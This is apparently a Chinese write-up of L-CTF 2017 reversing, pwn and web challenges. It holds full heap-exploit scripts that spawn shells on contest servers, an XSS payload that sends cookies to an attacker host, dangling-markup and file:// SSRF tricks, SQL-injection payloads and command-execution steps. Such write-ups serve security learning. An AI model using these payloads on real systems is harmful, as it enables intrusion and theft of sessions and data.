L-CTF 2017 WP I

Reversing

BeRealDriver

本题有一个指向Wikipedia LDW页面的Hint,是因为题目设计之初是想模仿现代汽车上常用的LDW系统。题目文件中含有两张图片,分别对应着LDW输入的地图,和驾驶员采取的驾驶路径。程序中的LDW首先判断驾驶路径是否在地图许可的范围内,如果不在,就报警;接下来另一个模块会检查驾驶路径是否经过了预设的几个危险点,如果没有经过,认为攻击失败。满足以上所有条件,即可得到flag。参赛者需要在分析以上程序逻辑的基础上提供两个文件,这两个文件(同样是图片)和上文中提到的两张内置图片分别异或后,作为被攻击者影响之后的地图和驾驶员操作,提供给上述的判断逻辑。

由此,一个简单的攻击思路是,提取出程序内置的两张图片之后,用Photoshop的自由变形功能,扭曲两张图片,使其经过指定位置,之后将新图片和原图片分别异或,并提交结果,即可得到正确解答。

这个题主要的坑点应该是OpenCV。很多人反馈跑不起来,这个和库版本有关系,我用的是最新版的库。另外还有人被Windows 10的图片查看器坑了,唉,临门一脚……所以劝大家多用Linux,你看Linux下连个像样的好看的图片查看器都没有(除了chromium),自然不会发生这种问题。此外另一个坑点是由于我写的算法鲁棒性太差,如果输入数据的连续性不够就会segfault……

题目设计之初本来是想按照真正的LDW工作,由三个线程构成,一个负责输出摄像头和操作数据,一个负责做LDW,另一个负责做危险点检测,且把核心逻辑放到CUDA中。但由于自己码力不太够,只能采取目前这种伪LDW设计,希望大家还是玩的开心。

题目源代码已经在https://github.com/SilverBut/LCTF2017_BeRealDriver 公开,上述的两张图片可在 LCTF2017_BeRealDriver/code/examples 中找到,题目设计思路文档可在 LCTF2017_BeRealDriver/doc 中找到。

YublKey

本题是临时起意想到的。GH60是一款开源键盘,大多数情况下其使用的固件是tmk_keyboard。本题设计是,在烧入此固件后按下特定按钮,即通过print函数输出flag,这个输出操作是通过使用固件自带的钩子点hook_matrix_change实现的,所以如果能找到源码并阅读一下,或者是自行编译后做bindiff,就可以发现这个hook点被改动过,直接分析相关代码即可。

这个题首要难题就是怎么知道这是个GH60的固件,实际通过字符串就能看到GH60(从一个老司机那里学到的这一招,strings -e l ./YublKey-stripped-elf),搜一下就有一些思路了,当然还是有点小脑洞。另外一点就是IDA对部分MCU的支持不太好,不过对GH60使用的MCU来说应该还是没什么大问题的。放出elf文件之后,加载和函数识别实际就没有什么问题了,题目难度下降了一档,但是仍然没有人做,可能是大家已经对我失去信心了吧233……

同上题一样,这个题的设计和实现也有一些差距……原意是在固件中植入一个键盘记录器,输入flag字符串后将内存中的记录信息输出,选手需要逆向程序逻辑来得到flag。但由于编码时间不够,就选择了现在这种比较挫的设计思路。

题目源代码同样也在github上开源了,地址为https://github.com/SilverBut/LCTF2017_YublKey 公开。我是clone后直接修改的,所以可以看一下最近的几次提交记录。

NuclearBomb

首先向各位道歉……本题出现了一些问题。赛后Atum指出,在CUDA函数内的数据同步存在问题,移位操作是在S盒置换操作之后发生的,因此会导致数据不一致,影响解题结果。虽然后续分析后发现这一点可能(至少在出题人机器上)并不会影响最终结果,但还是因此干扰了各位的解题思路。在此就我连续第三年翻车(?)表示诚挚的歉意,希望各位大佬不要穿过网线来线下真人快打。

然后先说一下算法吧,输入的flag是分组处理的,每 4 byte 用来初始化一个随机数发生器,之后取出一组随机数用来膨胀成一个数组。之后对数组中的元素按字节进行替换,然后按 uint32 进行循环移位(上文中的bug就出现在这里)。结果会和预设的一个数组比较,如果通过,则输入值即为flag。

这一题的坑点有:

  1. (再次感谢Atum指出)Nvidia的官方文档对移位指令的描述有问题;
  2. 不是所有人都有可以跑CUDA的GPU,一些笔记本的CPU实际是不能跑的;
  3. mtrand需要查表爆破,很容易让选手认为思路跑偏。

除了第三点在设计时候是预料到的以外,前两点都是没想到的。第三点当时测试过,跑一轮表最多需要10h(四代移动版i7-4712MQ,16G,单线程,SSD,linux,g++),因此时间上不会出太多问题。但为了避免思路受阻,还是尽量提前放了这道题。

题目源码也在github上开源了,地址为https://github.com/SilverBut/LCTF2017_NuclearBomb 。

滑稽博士

纯粹的游戏。

当初的设计思路是进行游戏作弊的时间消耗要比完整逆向出flag的长,也就是诱导各位写游戏外挂。

但是出题人自己的代码力不是很足,最后程序结构写崩了...

无奈只好改动成一般的一个程序。

使用C++编写,里面用了不少的继承和虚函数,但是都和flag没有什么关系(笑)。

思路有很多,可以直接搞清楚程序流,定位和flag相关的部分。

或者也可以找到游戏里面生成敌人的代码,把Hp改成1,然后通关游戏获得Flag。

代码就不上了,烂到难以形容。

USE YOUR IDA?

use your IDA

额...QAQ ...这题出了个小差错...给各位大师傅 带来的不便还请谅解, 借鉴了下看雪的溢出思路, 其他的思路是我自己设计用汇编写的, 某几位大师傅还请口下留德。 在处理 flag的时候的的循环少写了次, 当时可能出题写代码写累了, 少循环了一次。 造成了某四位多解的情况。

出题思路是: 前面一个输入函数, 将 flag 读入系统栈, 然后进入一个混淆的伪 flag 验证函数, 验证函数里面, 提示得很明显,(可以返回到我写的另外一个混淆的伪 flag 函数), 只要看懂了, 程序怎么访问 flag 的话, 在 od 中搜索访问 flag 的指令相关指令就行。 然后, 就会发现其中的奥秘。

剩下的是处理那堆混淆.

和一些大师傅交流过后, 有下面几种思路:

  1. python 正则处理 (出题的时候, 也是这么想的)
    将混淆代码去掉, 然后匹配成相应的语句, 逆向过来就行

  2. OD 脚本处理
    大师傅给了个 OD 脚本, 还没搞

  3. 爆破验证(操作最骚, 最简单)
    查看最终 flag 比较的内存验证, 然后试输入, 比对内存, 获得 flag。

  4. angr 跑
    (是时候学习一波了!)

  5. 汇编能力够强, 不熟悉 Python,可用 notepad++的正则(当然用 py 更好), 匹配然
    后逆向写 keygen。

相关脚本:

发现还是大师傅们写得好, 于是放上了南航师傅的脚本。

** decrypt.py**

    #   -*- coding:utf-8    -*-
    
    import re
    import ctypes
    
    flag_pattern =  "\[ebx\+([\s\S]+)\]"
    operation_pattern = "eax,\ ([\s\S]+)"
    file = open("IDA.txt",'r',encoding='utf-8')
    operation = []
    flag_op = []
    for i in range(20):
        flag_op.append([])
    for eachline in file:
        operation.append(eachline)
    
    flag = [0xf2,0x6e,0xd1,0xb1,0x7e,0x8b,0x3e,0x8e,0xb1,0x67,0x6e,0xe2,0xf7,0xa8,0x3d,0xce,0x2f,0xb0,0xec,0x0]
    length = len(operation)
    index = 0
    while index < length:
        # this mean that we have a operation about our flag
        if "movzx" in operation[index]:
            # print(operation[index])
    
            msg = re.findall(flag_pattern, operation[index])[0]
            if 'h' in msg:
                msg = msg[:-1]
    
            flag_index = int(msg,16)-1
            index += 1
            # first ,we checkout push is in it 
            if "push" in operation[index]:
                    while not ("pop"  in operation[index] and "push" not in operation[index+1]):
                        index += 1
                    # now index is in pop
                    index += 1
                    
            if "add" in operation[index]:
                num = re.findall(operation_pattern, operation[index])[0]
                if 'h' in num:
                    num = num.replace('h','').strip()
                flag_op[flag_index].append("+" + str(int(num,16)))
                # print(index)
                index += 1
            elif "sub" in operation[index]:
                num = re.findall(operation_pattern, operation[index])[0]
                if 'h' in num:
                    num = num.replace('h','').strip()
                flag_op[flag_index].append("-" + str(int(num,16)))
                index += 1
            elif "xor" in operation[index]:
                num = re.findall(operation_pattern, operation[index])[0]
                if 'h' in num:
                    num = num.replace('h','').strip()
                flag_op[flag_index].append("^" + str(int(num,16)))
                index += 1
            else:
                print("I forget %s!"%operation[index])
            
            # then ,we should check out the next is mov or not, because there are push to obscure
            if "mov" in operation[index]:
                # this mean our operation is finish
                # print("Ohhh no , we skip {}".format(operation[index]))
                continue
            else:
                # this is obsecure with operation
                if "push" in operation[index]:
                    while not ("pop"  in operation[index] and "push" not in operation[index+1]):
                        index += 1
                    # now index is in pop
                    index += 1
                # print("we finish pop at {}".format(operation[index]))
                # next ,we check if we need others operations
                if "add" in operation[index]:
                    num = re.findall(operation_pattern, operation[index])[0]
                    if 'h' in num:
                        num = num.replace('h','').strip()
                    flag_op[flag_index].append("+" + str(int(num,16)))
                elif "sub" in operation[index]:
                    num = re.findall(operation_pattern, operation[index])[0]
                    if 'h' in num:
                        num = num.replace('h','').strip()
                    flag_op[flag_index].append("-" + str(int(num,16)))
                elif "xor" in operation[index]:
                    num = re.findall(operation_pattern, operation[index])[0]
                    if 'h' in num:
                        num = num.replace('h','').strip()
                    flag_op[flag_index].append("^" + str(int(num,16)))
                    # xor 
                    index += 1
                # and next must be "mov"
                elif "mov" in operation[index]:
                    continue
                else:
                    print("I must be wrong at {}".format(operation[index]))
                    index += 1
                if "mov" not in operation[index]:
                    if 'push' in operation[index]:
                        while not ("pop"  in operation[index] and "push" not in operation[index+1]):
                            index += 1
                            # now index is in pop
                        index += 1
                        # this must be mov 
                        if "mov" not in operation[index]:
                            print("My gold {}".format(operation[index]))
                    else:
                        print("this has some question {}".format(operation[index]))
                    
        else:
            index += 1
    
    print(flag_op[0])
    # print(flag_op[1][1] == flag_op[0][2])
    for i in range(0,256):
        num = i
        for each_op in flag_op[0]:
            if each_op[0] == '-':
                num = num - int(each_op[1:])
            elif each_op[0] == '+':
                num = num + int(each_op[1:])
            elif each_op[0] == '^':
                # flag[i] ^= int(each_op[1:], 16)
                num = ctypes.c_ubyte(num).value ^ ctypes.c_ubyte(int(each_op[1:])).value    
        # print(num,end= ',')
        if ctypes.c_ubyte(num).value == 0xf2:
            print(i)
            break
    
    for i in range(len(flag_op)):
        flag_op[i].reverse()
        for each_op in flag_op[i]:
            if each_op[0] == '-':
                flag[i] = flag[i] + int(each_op[1:])
            elif each_op[0] == '+':
                flag[i] = flag[i] - int(each_op[1:])
            elif each_op[0] == '^':
                # flag[i] ^= int(each_op[1:], 16)
                flag[i] = ctypes.c_ubyte(flag[i]).value ^ ctypes.c_ubyte(int(each_op[1:])).value
    
    
    print(flag)
    for i in flag:
        print(chr(ctypes.c_ubyte(i).value),end = '')

PWN

2ez4u

思路

  1. 分配一个large chunk大小的块
  2. 自己在堆上事先伪造好一个largechunk的头
  3. 利用uaf来修改large chunk的bknextsize,让bknextsize指向这里(需要构造的合适一点,绕过glibc的检查),效果就是能malloc出这块地方。
  4. 之后就是很常规的利用这个malloc出来的chunk来泄露libc,修改fastbin的fd
  5. 修改main_arena上的top为free_hook上面一些的地方
  6. 通过几次malloc,修改free_hook为system的地址

exp

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from ctypes import c_uint32

context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

io = remote("111.231.13.27", 20001)
#io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"})
#io = process("2EZ4U_e994c467c9d8237e155f55f8c8315027")

EXEC = 0x0000555555554000

def add(l, desc):
    io.recvuntil('your choice:')
    io.sendline('1')
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('0')
    io.recvuntil('value?(0-999):')
    io.sendline('0')
    io.recvuntil('num?(0-16)')
    io.sendline('0')
    io.recvuntil('description length?(1-1024):')
    io.sendline(str(l))
    io.recvuntil('description of the apple:')
    io.sendline(desc)
    pass

def dele(idx):
    io.recvuntil('your choice:')
    io.sendline('2')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass

def edit(idx, desc):
    io.recvuntil('your choice:')
    io.sendline('3')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    io.recvuntil('color?(0:red, 1:green):')
    io.sendline('2')
    io.recvuntil('value?(0-999):')
    io.sendline('1000')
    io.recvuntil('num?(0-16)')
    io.sendline('17')
    io.recvuntil('new description of the apple:')
    io.sendline(desc)
    pass

def show(idx):
    io.recvuntil('your choice:')
    io.sendline('4')
    io.recvuntil('which?(0-15):')
    io.sendline(str(idx))
    pass

add(0x60,  '0'*0x60 ) # 
add(0x60,  '1'*0x60 ) #
add(0x60,  '2'*0x60 ) #
add(0x60,  '3'*0x60 ) #
add(0x60,  '4'*0x60 ) #
add(0x60,  '5'*0x60 ) #
add(0x60,  '6'*0x60 ) #

add(0x3f0, '7'*0x3f0) # playground
add(0x30,  '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30,  'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30,  'c'*0x30 )

dele(0x9)
dele(0xb)
dele(0x0)

#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
add(0x400, '0'*0x400)

# leak
show(0xb)
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)

io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)

target_addr = HEAP+0xb0     # 1
chunk1_addr = HEAP+0x130    # 2
chunk2_addr = HEAP+0x1b0    # 3
victim_addr = HEAP+0xc30    # b

# large bin attack
edit(0xb, p64(chunk1_addr))             # victim
edit(0x1, p64(0x0)+p64(chunk1_addr))    # target

chunk2  = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2

chunk1  = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)

edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))

dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60,  '6'*0x60 ) # 

show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)

junk  = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk  = junk.ljust(0xa8, 'A')
junk += p64(0x80)

recovery  = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd

dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x60,  '4'*0x60 ) # 

recovery  = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) # 

dele(0x5)

recovery  = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158

add(0x40,  '5'*0x30 ) # 

add(0x40,  p64(LIBC+0x3c5c50)) # 

# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)

add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '\x00') # 
add(0x300, '/bin/sh') # 
dele(0x1)
#add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) # 
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) # 
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))

dele(15)

io.interactive()

toy

漏洞

程序修改自https://github.com/skx/simple.vm

在peek和poke处修改了一下,把检查地址是否越界的部分给改了

利用

利用方法可能有很多,下面是我写exp的步骤

  1. 通过store-string来malloc出合适的chunk,然后将其free
  2. 将被free的chunk里的libc和heap的地址通过peek来读取到寄存器里
  3. 修改被free的fastbin的fd,使其指向第10个寄存器(刚好在exit指令的函数句柄上面)_
  4. 通过得到的libc地址来计算出system的地址,用concat指令来写入到exit指令的函数句柄上

exp

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *
from struct import pack


context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'

EXEC = 0x0000555555554000

#io = process("./simple-vm")
io = remote("111.231.19.153", 20003)

#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000175B))
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000157D)) # call
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x0000000000001900)) # debug

store_string = lambda reg, leng, s: pack("<bbH", 0x30, reg, leng)+s
store_int = lambda reg, val: pack("<bbH", 0x01, reg, val)
add = lambda dst, src1, src2: pack("<bbbb", 0x21, dst, src1, src2)
sub = lambda dst, src1, src2: pack("<bbbb", 0x22, dst, src1, src2)
mul = lambda dst, src1, src2: pack("<bbbb", 0x23, dst, src1, src2)
div = lambda dst, src1, src2: pack("<bbbb", 0x24, dst, src1, src2)
peek = lambda reg, addr: pack("<bbb", 0x60, reg, addr)
poke = lambda reg, addr: pack("<bbb", 0x61, reg, addr)
inc = lambda reg: pack("<bb", 0x25, reg)
dec = lambda reg: pack("<bb", 0x26, reg)
concat = lambda dst, src1, src2: pack("<bbbb", 0x32, dst, src1, src2)
debug = lambda : '\x0a'
exit = lambda : '\x00'

'''
#0 addr
#1 libc_hi
#2 libc_lo
#5 reserved
#7 heap_lo
#9 0x81

将free chunk的fd改为reg9的地方,修改exit的函数指针为system
'''

# stage0 
payload  = ''

code = [
    store_string(0x0, 0x20, "A"*0x20),
    store_string(0x1, 0x20, "A"*0x20),
    store_string(0x4, 0xa0, "A"*0xa0),
    store_string(0x5, 0xa0, "A"*0xa0),
    store_int(0x4, 0xffff), # (free 1)

    # stage1 mov (int)heap to #7
    store_int(0x1, 0xffff), # (free 1)
    store_int(0x0, 0x14), # (free 0)
    add(0x0, 0x0, 0x1),
    store_int(0x8, 0x100), # (free 1)

    [
        peek(0x6, 0x0),
        mul(0x7, 0x7, 0x8),
        add(0x7, 0x7, 0x6),
        dec(0x0)
    ]*4,

    # stage2 mov (int)heap to #9
    store_int(0x1, 0xffff),
    store_int(0x0, 0x78),
    add(0x0, 0x0, 0x1),
    store_int(0x8, 0x100),

    [
        peek(0x6, 0x0),
        mul(0x1, 0x1, 0x8),
        add(0x1, 0x1, 0x6),
        dec(0x0)
    ]*4,

    [
        peek(0x6, 0x0),
        mul(0x2, 0x2, 0x8),
        add(0x2, 0x2, 0x6),
        dec(0x0)
    ]*4,

    # stage 3
    store_int(0x3, 0xffff),
    store_int(0x0, 0x11),
    add(0x0, 0x0, 0x3),
    store_int(0x9, 0xffff),
    store_int(0x8, 0x1891),
    add(0x8, 0x8, 0x9),
    sub(0x7, 0x7, 0x8),
    store_int(0x8, 0x100),

    [
        poke(0x7, 0x0),
        div(0x7, 0x7, 0x8),
        inc(0x0),
    ]*4,


    # stage4 overwrite fp
    store_int(0x8, 0x0),

    [
        store_int(0x9, 0xffff),
        add(0x8, 0x8, 0x9),
    ]*0x37,

    store_int(0x9, 0xf81f),
    add(0x8, 0x8, 0x9),
    sub(0x2, 0x2, 0x8), # calculate system address
    store_int(0x3, 0xffff),
    store_int(0x0, 0x121),
    add(0x0, 0x0, 0x3),
    store_int(0x8, 0x100),

    [
        poke(0x2, 0x0),
        div(0x2, 0x2, 0x8),
        inc(0x0)
    ]*4,


    [
        poke(0x1, 0x0),
        div(0x1, 0x1, 0x8),
        inc(0x0)
    ]*4,

    store_int(0x9, 0x31),
    store_string(0x7, 0x18, "A"*0x18),
    debug(),
    concat(0x8, 0x7, 0x5),
    pack("<bb", 0x01, 0x0)+'sh',    # store-int #0, 0x51 (free 0)

    #stage5 trigger
    exit()
]

payload = flat(arr)

io.recvuntil("size")
io.sendline(str(len(payload)))

io.send(payload)

io.interactive()

完美冻结

漏洞很简单。

程序用mmap生成了两块0x1000内存快,实现了一套奇怪的存储装置:一个用来做buff,一个用来存数据。

做buff的堆块在重新设置大小(bmap_set)时,使用的是unsigned short,但是做加法时(或者从unsigned int转换到unsigned short时)会产生整数溢出。

利用//符号读入大量的字符,再配合\0符号就可以将buff溢出到后面的堆块。

第二个装置里面用的是位字段指示某个地址是否空闲。将该字段覆盖掉,即可造成两个数据结构被分配在一个地址上。

由于出题人的程序结构又写崩了,于是无奈之下直接给了system()函数的地址...也就是说完全不需要绕过任何保护。

利用覆盖将函数指针覆盖为system的即可getshell。

看似复杂其实随便堆点时间就可以拿到flag...就像9的符卡一样嘛(笑)。

代码会随其他源码一同给出。

出题人的验证exp(不知道为什么很莫名其妙但是的确getshell了):

#!/usr/bin/env python2

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

#p = process('./easy')
#p = gdb.debug('./easy')

puts_plt = 0x00400810
system = 0x400870

payload = ""

payload += "VALUE 1 65\n"

#payload += "VALUE 2 66\n"
pay = "VALUE 2 "
pay += str(system)
pay += '\n'
payload += pay

payload += "VALUE 3 67\n"
payload += "MOV 1 2\n"

pay = "// "
pay += "A" * (32 - len(pay) - 1)
pay += '\n'
payload += pay

pay = "// "
pay += "B" * (32 - len(pay))
pay += "\x07\x00"
pay += "B" * (0xFFFF - len(pay) - 1)
pay += '\n'
payload += pay

pay = "VALUE 4 29400045130965551"
pay += '\n'
payload += pay

payload += "PRINT 4\n"
payload += "END\n"

p.send(payload)

p.interactive()

WEB

wanna hack him

这题有两种解法。

解法一

利用dangling markup attack。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload

<img src='http://yourhost/?key=

这样因为<img>标签里的src未闭合所以会把后面的html代码也当做src属性的一部分直到遇到下一个单引号,所以我们可以拿到管理员的nonce

拿到nonce后就是常规XSS操作了。

解法二

因为这题的nonce是根据session生成的,所以我们可以用<meta>标签来Set-Cookie,把bot的PHPSESSID设置成我们的,这样bot的nonce就和我们的一样。可以通过preview.php拿到我们的nonce

payload:

<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/">
<script nonce="yournonce">(new Image()).src='http://yourhost/?cookie='+escape(document.cookie)</script>

关注我blog接下来的详细分析: http://math1as.com/

签到题

题目不难, 一共就只有几个点

  • 用file协议读取本地文件
  • 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
  • 截断url后面拼接的/, GET请求, 用?#都可以

payload其实很简单: file://www.baidu.com/etc/flag?

<?php 
if(!$_GET['site']){ 
    echo <<<EOF 
<html> 
<body> 
look source code: 
<form action='' method='GET'> 
<input type='submit' name='submit' /> 
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> 
</form>
</body>
</html> 
EOF; 
    die(); 
}

$url = $_GET['site']; 
$url_schema = parse_url($url); 
$host = $url_schema['host']; 
$request_url = $url."/"; 

if ($host !== 'www.baidu.com'){ 
    die("wrong site"); 
}

$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);

if($res){ 
    echo "<h1>Source Code:</h1>"; 
    echo $request_url; 
    echo "<hr />"; 
    echo htmlentities($res); 
}else{ 
    echo "get source failed"; 
} 

?>

萌萌哒报名系统

这题提示给了IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,他新建项目的时候会生成一个.idea文件夹,访问发现有一个workspace.xml文件,访问里面发现了一个xdcms2333.zip
下载可得到整站源码

register.php

<?php
    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
    echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

<?php
    session_start();
    include('config.php');
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }
    $_SESSION['username'] = $username;
    unset($_SESSION['is_logined']);
    unset($_SESSION['is_guest']);
    #echo $username;
    header("Location: member.php");
?>

member.php

<?php
    error_reporting(0);
    session_start();
    include('config.php');
    if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
    try{
        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
    }catch (Exception $e){
        die('mysql connected error');
    }
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
    if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
        
    }else{
        if(isset($_GET['file'])===false)
            echo "None";
        elseif(is_file($_GET['file']))
            echo "you cannot give me a file";
        else
            readfile($_GET['file']);
    }
?>

这里我们首先看register.php,这里我弄一个坑,就是

$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');

然后下面

preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

如果匹配了$matches[0]=$admin就可以把xdsec注册到identities表中,可样我们就可以绕过第一层,member.php中的

if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

但是str_shuffle是不可预测的,不知道有没有人在这里被我坑到XD.但是真正的思路不在这里。
下面说说我在后台审计中看到了很多人用的非预期解--条件竞争。
因为身份验证是用if ($sth->fetch()[0] === 'GUEST')那么如果在identities表中没有username这一行数据,那么取出来$sth->fetch()[0]结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在

$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');

语句执行之前登陆上去就可以绕过第一层。
其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
payload:

code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)

然后再登陆既可以绕过第一层。
第二层则比较简单,利用一个phpbug。给出个实例

<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>
boolean true
boolean false

利用伪协议就可以绕过php的is_file,然后读取本目录下的config.php即可得到flag

LCTF{pr3_maTch_1s_A_amaz1ng_Function}

他们有什么秘密呢?

题目由两部分组成,第一部分是一个sqli,第二部分是一个文件上传+命令执行

第一部分

第一个入口

http://182.254.246.93/entrance.php

id=3时,product name = nextentrance,再结合源代码里面的提示,可以得出,我们的目的是得到整个表的信息~

这里基本没有过滤,但是不能使用information_schema表,也就无从获取表名和字段信息了,当然,不会是爆破。

此外,可以发现开启了报错,所以我们可以用一些小技巧,来查出表名,字段名。

mysql很灵活,这里有多种解法的。

获取数据库名

根据mysql的特性,用一个不存在的自定义函数,就可以爆出数据库名

pro_id=a()

得到数据库名 youcanneverfindme17

获取表名

有一篇文章提到过,当开启报错时,polygon函数可以用来获取当前表名和其字段名,不过这里我将polygon过滤掉了,

前往

https://dev.mysql.com/doc/refman/5.5/en/func-op-summary-ref.html

把这几百个函数用正则处理下来,然后fuzz,会发现还有其它函数可以用

multiPolygon(id)
multilinestring(id)
linestring(id)
GeometryCollection(id)
MultiPoint(id)
polugon(id)

我这里过滤的时候,专门漏了linestring,用它爆出当前表名

pro_id=1 and linestring(pro_id)

获取字段名

接下来就是需要得到表product_2017ctf的字段名了

开启了报错,所以这里可以使用using+join的方法来获取,

pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C

得到字段名:pro_id pro_name owner d067a0fa9dc61a6e

获取表内容

理论上用联合查询就可以查出来了,不过这里我把最后一个字段名过滤了,

所以要在不出现字段名的情况下查出内容,将一个虚拟表和当前表联合起来即可

pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;

得到关键内容:7195ca99696b5a896.php

根据tip,结合一下,得到下一关入口:

d067a0fa9dc61a6e7195ca99696b5a896.php

其实这里方法是很多的,使用移位注入和比较注入同样可以查出表内容,都不需要用到字段名~

第二部分

上传后缀和内容都没有限制,只有一个长度的限制,还是挺简单的

创建z.php

创建bash 内容任意

创建bash2 存放要执行的命令

由于每个人的上传目录下有一个index.html,所以先要把它删掉

所以第一次执行z.php时,bash2文件内容为:

rm i*

第二次执行z.php时,bash2文件的内容为:

ls /

因为长度的限制,所以flag的位置肯定在根目录下的,

cat /3*

得到flag

这个是最简单的方法,也可以用wget写一个shell到目录下~

L PLAYGROUND

0x00.前期准备

1.环境介绍

